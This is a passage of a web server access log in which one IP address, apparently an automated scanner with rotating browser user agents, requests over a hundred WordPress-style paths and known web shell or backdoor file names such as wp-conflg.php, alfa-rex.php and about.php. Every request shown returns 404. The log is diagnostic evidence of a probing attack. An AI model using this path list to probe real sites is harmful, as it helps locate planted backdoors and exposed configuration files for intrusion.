1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:37 +0300] "GET /wp-content/plugins/wpcall-button/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 247 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /wp-includes/widgets/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:38 +0300] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /wp-content/themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /wp-cron.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /cgi-bin/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /jp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /rcc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:39 +0300] "GET /layout.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /history.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /images/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:40 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /wp-links.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:39:41 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wp-includes/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wp-admin/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:42 +0300] "GET /wander.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /wp-includes/php-compat/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /wp-config-sample.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /admin/upload/css.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /wp-admin/js/about.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:43 +0300] "GET /manager.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /users.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /wp-content/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:44 +0300] "GET /function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /plugins/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:45 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /wp-mail.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:46 +0300] "GET /baxa1.phP8 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /admin-post.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /conf_upload.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /wp-configs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:47 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /cgi-bin/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /f35.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /wp-includes/css/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /wp-admin/maint/flower.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /wp-admin/license.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/about.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /files.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:48 +0300] "GET /webadmin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /wsa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /wp-content/json.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /wp-admin/css/colors/coffee/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /cgi-bin/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /woh.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:49 +0300] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /bless.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /wp-trackback.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /info.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:50 +0300] "GET /readme.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 